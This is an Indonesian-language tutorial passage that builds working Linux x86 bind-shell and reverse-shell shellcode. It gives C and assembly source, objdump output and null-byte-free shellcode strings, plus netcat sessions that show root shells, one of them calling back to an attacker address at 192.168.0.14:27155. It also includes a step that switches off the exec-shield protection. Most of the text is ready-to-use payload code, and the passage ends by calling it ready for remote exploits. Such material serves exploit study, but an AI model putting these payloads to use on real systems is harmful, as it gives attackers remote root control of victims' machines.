       client=accept(server,0,0); // koneksi dari client sudah terjalin

       dup2(client,0); // duplicate stdin ke client socket
       dup2(client,1); // duplicate stdout ke client socket
       dup2(client,2); // duplicate stderr ke cilent socket

       shell[0] = "/bin/sh";
       shell[1] = 0;
       execve(shell[0],shell,0); // execute shell dengan stdin,stdout dan stderr ke socket
}

Seperti pada gambar yang telah saya jelaskan di atas, socket programming di server dimulai dari fungsi socket() untuk membuat server socket dan mendapatkan file handlernya. Setelah itu ip address dan port harus didefinisikan dalam struct sockaddr_in. Socket address ini akan dipakai dalam fungsi bind() untuk mengikat port dan ip address tersebut dengan socket yang sudah dibuat sebelumnya. Setelah ip dan port sudah terikat dengan socket, kita bisa mulai menunggu koneksi dari client dengan fungsi listen(). Program akan blocking di fungsi listen() ini. Program akan resume, mulai berjalan lagi ketika client membuka koneksi dan hubungan telah terjalin. Setelah hubungan telah terjalin, kita akan memanggil fungsi accept() untuk mendapatkan file handler socket untuk client.

Ada dua socket yang dipakai: server socket dan client socket

Port yang akan kita pakai untuk LISTEN adalah port 2396, yang dalam hexadesimal adalah 0×095C. Ingat penulisan port harus dalam bentuk network byte order (big endian), sehingga penulisannya harus dibalik menjadi 0×5C09.

Saya menggunakan IP address bernilai 0 yang artinya all local address. Local address disini tidak hanya 127.0.0.1 tetapi juga semua ip address yang terdefinisi di interface yang ada pada host tersebut. Bila dalam host tersebut ada 3 ethernet card dengan ip yang berbeda, maka dia akan listen di semua ip tersebut.

Dalam program di atas sebelum kita mengeksekusi /bin/sh, kita perlu mengarahkan stdin,stdout dan stderr ke client socket. Hal ini dimaksudkan karena program yang dieksekusi dengan execve akan mewarisi stdin, stdout dan stderr dari yang mengeksekusinya. Jadi bila tidak dicloning dulu, maka stdin,stdout,stderr akan memakai keyboard dan layar console sehingga tidak bisa dipakai untuk mengirim command dan menerima outputnya dari jarak jauh.

Test

Sekarang mari kita uji program port binding di atas. Saya memakai dua console di komputer yang sama untuk mengujinya. Pada console pertama saya akan melakukan kompilasi dan menjalankan program tersebut sebagai root.

$ gcc portbind.c -o portbind
$ sudo ./portbind

Setelah portbind dijalankan sebagai root dengan sudo, kini di console lain saya membuka koneksi ke port 2396 dengan mamakai program netcat.

$ nc localhost 2396
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
exit

Port Binding dalam Assembly

Oke dalam pengujian di atas kita berhasil membuat program yang listen ke port tertentu dan mengeksekusi shell bila ada koneksi masuk. Sekarang kita harus membuat program sejenis namun dalam bahasa assembly. Sama seperti pembuatan local shellcode, kita menggunakan interrupt 80 hexa untuk memanggil system call. System call yang akan kita panggil adalah socket, bind, listen, accept, dup2 dan execve.

Keluarga system call socket, bind, listen dan accept adalah satu system call dengan nomor 102. Sebelum memanggil interrupt 80h kita perlu mendefinisikan dulu apa yang akan kita panggil, apakah socket, bind, listen atau accept. Pilihan tersebut harus dimasukkan dalam register EBX:

• EBX = 1 untuk socket()
• EBX = 2 untuk bind()
• EBX = 3 untuk connect()
• EBX = 4 untuk listen()
• EBX = 5 untuk accept()

Parameter untuk fungsi socket, bind, connect, listen dan accept disimpan sebagai array yang addressnya disimpan dalam register ECX. Seperti biasa register EAX harus diisi dengan nomor system call yaitu 102.

struct sockaddr_in dalam Assembly

Bagian yang rumit dalam shellcode ini adalah ketika membentuk struct sockaddr_in. Struct ini sebenarnya berukuran 16 byte, tetapi 8 byte terakhir adalah sin_zero yang tidak terpakai, jadi kita hanya fokus mengisi 8 byte pertama.

Susunan byte pada struct sockaddr_in adalah:

• Byte ke-1 dan ke-2: sin_family yang akan diisi dengan 0×0002 (AF_INET).
• Byte ke-3 dan ke-4: sin_port yang akan diisi dengan 0×5C09 (port 2396).
• Byte ke-5 s/d ke-8: sin_addr.s_addr yang akan diisi dengan 0×00000000 (semua IP di interface host).

Alamat dari struct sockaddr_in ini harus disimpan dalam ECX. Kita akan memanfaatkan stack untuk membentuk struct ini. Karena stack adalah struktur data LIFO, maka kita harus push dulu 4 byte terakhir (0×00000000), kemudian diikuti dengan push 2 byte untuk sin_port dan terakhir baru push untuk sin_family. Setelah semua di-push, maka ESP menunjuk pada address struct ini sehingga harus kita salin ke ECX.

Snipped assembly di bawah ini adalah instruksi untuk membuat struct sockaddr_in. Di akhir source, ESP menunjuk pada address struct sockaddr_in.

1
2
3
4
5

xor edx,edx ; edx = 0 
push edx ; push sin_addr.s_addr 0x0
push word 0x5C09 ; push sin_port
add edx,2
push dx ; push sin_family 0x0002

Setelah snippet di atas dijalankan, struct sockaddr_in akan terlihat seperti di bawah ini:

0x02    0x00    0x09    0x5C    0x00    0x00    0x00    0x00

0×02 0×00 adalah sin_family, hasil dari instruksi “push dx” pada saat regsiter DX bernilai 2. Byte berikutnya 0×09 0×5C adalah sin_port, hasil dari instruksi “push word 0×5C09″. Lalu 4 byte sisanya adalah sin_addr.s_addr hasil dari instruksi “push edx” pada saat EDX bernilai 0.

Source Code Assembly Port Binding Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

BITS 32
section .text
global _start

_start:
xor eax,eax
xor ebx,ebx
xor edx,edx

;server=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX points to [2][1][0]
inc bl
mov al,102
int 0x80

; esi = server socket handler
mov esi,eax

;bind(server,(struct sockaddr*)&serv_addr,16)
push edx
push word 0x5C09
add edx,2
push dx
mov ecx,esp ; ECX = &serv_addr
push byte 16 ; push 16 (sizeof struct sockaddr)
push ecx  ; push &serv_addr
push esi   ; push server socket handler
mov ecx,esp ; ECX points to [server][&serv_addr][16]
inc bl
mov al,102
int 0x80

;listen(server,0)
xor edx,edx
push edx ; push 0
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0]
mov bl,0x4
mov al,102
int 0x80

;client=accept(server,0,0)
push edx ; push 0
push edx ; push 0
push esi ; push server socket handler
mov ecx,esp ; ECX points to [server][0][0]
inc bl
mov al,102
int 0x80

; ebx = client socket handler
mov ebx,eax

;dup2(client,0)
xor ecx,ecx
mov al,63
int 0x80

;dup2(client,1)
inc ecx
mov al,63
int 0x80

;dup2(client,2)
inc ecx
mov al,63
int 0x80

;execve "/bin//sh"
push edx ; push NULL (0x0)
push long 0x68732f2f ; push //sh
push long 0x6e69622f ; push /bin
mov ebx,esp ; EBX = address of "/bin//sh"
push edx ; push NULL (0x0)
push ebx ; push address of "/bin//sh"
mov ecx,esp ; ECX address of [address of "/bin//sh",NULL]
mov al,0x0b ; exec system call
int 0x80

Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.

System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.

Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0×02 0×01 0×00.

Mengambil Opcode untuk Shellcode

Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm

./portbind_asm:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
8048060:       31 c0                   xor    %eax,%eax
8048062:       31 db                   xor    %ebx,%ebx
8048064:       31 d2                   xor    %edx,%edx
8048066:       50                      push   %eax
8048067:       6a 01                   push   $0x1
8048069:       6a 02                   push   $0x2
804806b:       89 e1                   mov    %esp,%ecx
804806d:       fe c3                   inc    %bl
804806f:       b0 66                   mov    $0x66,%al
8048071:       cd 80                   int    $0x80
8048073:       89 c6                   mov    %eax,%esi
8048075:       52                      push   %edx
8048076:       66 68 09 5c             pushw  $0x5c09
804807a:       81 c2 02 00 00 00       add    $0x2,%edx
8048080:       66 52                   push   %dx
8048082:       89 e1                   mov    %esp,%ecx
8048084:       6a 10                   push   $0x10
8048086:       51                      push   %ecx
8048087:       56                      push   %esi
8048088:       89 e1                   mov    %esp,%ecx
804808a:       fe c3                   inc    %bl
804808c:       b0 66                   mov    $0x66,%al
804808e:       cd 80                   int    $0x80
8048090:       31 d2                   xor    %edx,%edx
8048092:       52                      push   %edx
8048093:       56                      push   %esi
8048094:       89 e1                   mov    %esp,%ecx
8048096:       b3 04                   mov    $0x4,%bl
8048098:       b0 66                   mov    $0x66,%al
804809a:       cd 80                   int    $0x80
804809c:       52                      push   %edx
804809d:       52                      push   %edx
804809e:       56                      push   %esi
804809f:       89 e1                   mov    %esp,%ecx
80480a1:       fe c3                   inc    %bl
80480a3:       b0 66                   mov    $0x66,%al
80480a5:       cd 80                   int    $0x80
80480a7:       89 c3                   mov    %eax,%ebx
80480a9:       31 c9                   xor    %ecx,%ecx
80480ab:       b0 3f                   mov    $0x3f,%al
80480ad:       cd 80                   int    $0x80
80480af:       41                      inc    %ecx
80480b0:       b0 3f                   mov    $0x3f,%al
80480b2:       cd 80                   int    $0x80
80480b4:       41                      inc    %ecx
80480b5:       b0 3f                   mov    $0x3f,%al
80480b7:       cd 80                   int    $0x80
80480b9:       52                      push   %edx
80480ba:       68 2f 2f 73 68          push   $0x68732f2f
80480bf:       68 2f 62 69 6e          push   $0x6e69622f
80480c4:       89 e3                   mov    %esp,%ebx
80480c6:       52                      push   %edx
80480c7:       53                      push   %ebx
80480c8:       89 e1                   mov    %esp,%ecx
80480ca:       b0 0b                   mov    $0xb,%al
80480cc:       cd 80                   int    $0x80

Byte Terlarang di Shellcode

Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00 yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte 0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0 tersebut.

Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.

 804807a:       81 c2 02 00 00 00       add    edx, 2

 804807a:       42                      inc    edx
804807b:       42                      inc    edx

Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0. Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″ berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.

Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.

$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.

$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31D2              xor edx,edx
00000006  50                push eax
00000007  6A01              push byte +0x1
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  FEC3              inc bl
0000000F  B066              mov al,0x66
00000011  CD80              int 0x80
00000013  89C6              mov esi,eax
00000015  52                push edx
00000016  6668095C          push word 0x5c09
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  6652              push dx
0000001E  89E1              mov ecx,esp
00000020  6A10              push byte +0x10
00000022  51                push ecx
00000023  56                push esi
00000024  89E1              mov ecx,esp
00000026  FEC3              inc bl
00000028  B066              mov al,0x66
0000002A  CD80              int 0x80
0000002C  31D2              xor edx,edx
0000002E  52                push edx
0000002F  56                push esi
00000030  89E1              mov ecx,esp
00000032  B304              mov bl,0x4
00000034  B066              mov al,0x66
00000036  CD80              int 0x80
00000038  52                push edx
00000039  52                push edx
0000003A  56                push esi
0000003B  89E1              mov ecx,esp
0000003D  FEC3              inc bl
0000003F  B066              mov al,0x66
00000041  CD80              int 0x80
00000043  89C3              mov ebx,eax
00000045  31C9              xor ecx,ecx
00000047  B03F              mov al,0x3f
00000049  CD80              int 0x80
0000004B  41                inc ecx
0000004C  B03F              mov al,0x3f
0000004E  CD80              int 0x80
00000050  41                inc ecx
00000051  B03F              mov al,0x3f
00000053  CD80              int 0x80
00000055  52                push edx
00000056  682F2F7368        push dword 0x68732f2f
0000005B  682F62696E        push dword 0x6e69622f
00000060  89E3              mov ebx,esp
00000062  52                push edx
00000063  53                push ebx
00000064  89E1              mov ecx,esp
00000066  B00B              mov al,0xb
00000068  CD80              int 0x80

Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.

Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.

1
2
3
4

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void) {
       asm("jmp shellcode");
}

$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode

Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.

$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit

Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.

Membuat Reverse Connecting Shellcode

Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.

Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#include 
#include 

int main(void) {
       char *shell[2];
       int soc;
       int remote;
       struct sockaddr_in serv_addr;

       serv_addr.sin_family=2; // internet address
       serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14
       serv_addr.sin_port=0x136A; // port 27155
       soc = socket(2,1,0);
       remote = connect(soc,(struct sockaddr*)&serv_addr,16);
       dup2(soc,0);
       dup2(soc,1);
       dup2(soc,2);
       shell[0] = "/bin/sh";
       shell[1] = NULL;
       execve(shell[0],shell,0);
}

Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...

Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.

$ gcc reverse.c -o reverse
$ sudo ./reverse

Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit

Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.

Reverse Connecting dalam Assembly

Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.

BITS 32
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor edx,edx

;soc=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX = address of [2,1,0]
inc bl
mov al,102
int 0x80

; ESI = soc socket handler
mov esi,eax

;remote = connect(soc,(struct sockaddr*)&serv_addr,16);
push edx ; push 0
push long 0x0E00A8C0 ; push sin_addr.s_addr value
push word 0x136A ; push sin_port value
xor ecx,ecx ; ecx = 0
mov cl,2 ; cx = 2
push word cx ; push sin_family value
mov ecx,esp ; ECX = address of struct sockaddr
push byte 16 ; push 16
push ecx ; push address of struct sockaddr
push esi ; push soc handler
mov ecx,esp ; ECX = address of [soc,&serv_addr,16]
mov bl,3
mov al,102
int 0x80

; EBX = remote socket handler
mov ebx,esi

;dup2(soc,0)
xor ecx,ecx ; ECX = 0 = stdin file handler
mov al,63
int 0x80

;dup2(soc,1)
inc ecx ; ECX = 1 = stdout file handler
mov al,63
int 0x80

;dup(soc,2)
inc ecx ; ECX = 2 = stderr file handler
mov al,63
int 0x80

;execve "/bin//sh"
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80

Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.

$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o

Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Menghilangkan Byte Terlarang

Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode tersebut yang berasal dari instruksi “push long 0×0E00A8C0″. Byte 0×00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.

Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0×0E00 dan push 0xA8C0. Push nilai 0×0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh karena itu saya harus membuat nilai 0×0E00 tanpa melibatkan angka 00 dengan cara:

; DX = 0
mov dl,0x0E ; DX = 0x000E
shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00

Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push long 0×0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.

b2 0e                   mov    dl,0x0E
66 c1 e2 08             shl    dx,8
66 52                   push   dx
66 68 c0 a8             push word  0xA8C0

Setelah mengganti “push long 0×0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:

$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:

char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void) {
       asm("jmp shellcode");
}

Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.

$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode

Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.

C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit

Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.

Sumber : Here